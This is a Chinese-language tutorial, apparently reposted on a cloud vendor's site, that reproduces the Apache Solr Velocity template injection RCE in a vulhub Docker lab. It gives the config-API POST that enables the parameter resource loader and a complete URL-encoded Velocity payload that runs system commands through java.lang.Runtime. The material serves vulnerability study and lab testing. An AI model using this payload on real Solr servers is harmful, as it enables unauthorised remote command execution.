溫馨提示×

溫馨提示×

您好，登錄后才能下訂單哦！

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

Apache Solr Velocity模板注入RCE漏洞復(fù)現(xiàn)是怎樣的

發(fā)布時間：2021-12-10 15:39:25 來源：億速云 閱讀：226 作者：柒染 欄目：大數(shù)據(jù)

這期內(nèi)容當(dāng)中小編將會給大家?guī)碛嘘P(guān)Apache Solr Velocity模板注入RCE漏洞復(fù)現(xiàn)是怎樣的，文章內(nèi)容豐富且以專業(yè)的角度為大家分析和敘述，閱讀完這篇文章希望大家可以有所收獲。


0x00 簡介

Solr是一個獨(dú)立的企業(yè)級搜索應(yīng)用服務(wù)器，它對外提供類似于Web-service的API接口。用戶可以通過http請求，向搜索引擎服務(wù)器提交一定格式的XML文件，生成索引；也可以通過Http Get操作提出查找請求，并得到XML格式的返回結(jié)果。

0x01 漏洞概述

該漏洞的產(chǎn)生是由于兩方面的原因：
當(dāng)攻擊者可以直接訪問Solr控制臺時，可以通過發(fā)送類似/節(jié)點(diǎn)名/config的POST請求對該節(jié)點(diǎn)的配置文件做更改。
Apache Solr默認(rèn)集成VelocityResponseWriter插件，在該插件的初始化參數(shù)中的params.resource.loader.enabled這個選項是用來控制是否允許參數(shù)資源加載器在Solr請求參數(shù)中指定模版，默認(rèn)設(shè)置是false。  
 
 當(dāng)設(shè)置params.resource.loader.enabled為true時，將允許用戶通過設(shè)置請求中的參數(shù)來指定相關(guān)資源的加載，這也就意味著攻擊者可以通過構(gòu)造一個具有威脅的攻擊請求，在服務(wù)器上進(jìn)行命令執(zhí)行。（來自360CERT）

0x02 影響范圍

Apache Solr 5.x - 8.2.0，存在config API版本

0x03 環(huán)境搭建

在線環(huán)境：

轉(zhuǎn)發(fā)本文到朋友圈，截圖發(fā)至公眾號

自行搭建：

使用vulhub中CVE-2019-0193的環(huán)境進(jìn)行搭建

啟動vulhub環(huán)境：

git clone https://github.com/vulhub/vulhub.gitcd vulhub/solr/CVE-2019-0193docker-compose up -d

創(chuàng)建名為test的Core：

docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db

搭建好后默認(rèn)端口為8983，訪問http://ip:8983 即可

Apache Solr Velocity模板注入RCE漏洞復(fù)現(xiàn)是怎樣的

0x04 漏洞利用

利用前提：攻擊者需要知道Solr服務(wù)中Core的名稱才能執(zhí)行攻擊

Apache Solr Velocity模板注入RCE漏洞復(fù)現(xiàn)是怎樣的

如上圖所示的這個名稱就是Core的名稱

直接構(gòu)造POST請求，在/solr/test/config目錄POST以下數(shù)據(jù)（修改Core的配置）


{  "update-queryresponsewriter": {    "startup": "lazy",    "name": "velocity",    "class": "solr.VelocityResponseWriter",    "template.base.dir": "",    "solr.resource.loader.enabled": "true",    "params.resource.loader.enabled": "true"  }}

Apache Solr Velocity模板注入RCE漏洞復(fù)現(xiàn)是怎樣的

然后使用公開的exp發(fā)送請求

http://ip:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

即可成功執(zhí)行命令

Apache Solr Velocity模板注入RCE漏洞復(fù)現(xiàn)是怎樣的

上述就是小編為大家分享的Apache Solr Velocity模板注入RCE漏洞復(fù)現(xiàn)是怎樣的了，如果剛好有類似的疑惑，不妨參照上述分析進(jìn)行理解。如果想知道更多相關(guān)知識，歡迎關(guān)注億速云行業(yè)資訊頻道。

向AI問一下細(xì)節(jié)

免責(zé)聲明：本站發(fā)布的內(nèi)容（圖片、視頻和文字）以原創(chuàng)、轉(zhuǎn)載和分享為主，文章觀點(diǎn)不代表本網(wǎng)站立場，如果涉及侵權(quán)請聯(lián)系站長郵箱：is@yisu.com進(jìn)行舉報，并提供相關(guān)證據(jù)，一經(jīng)查實，將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI
助
手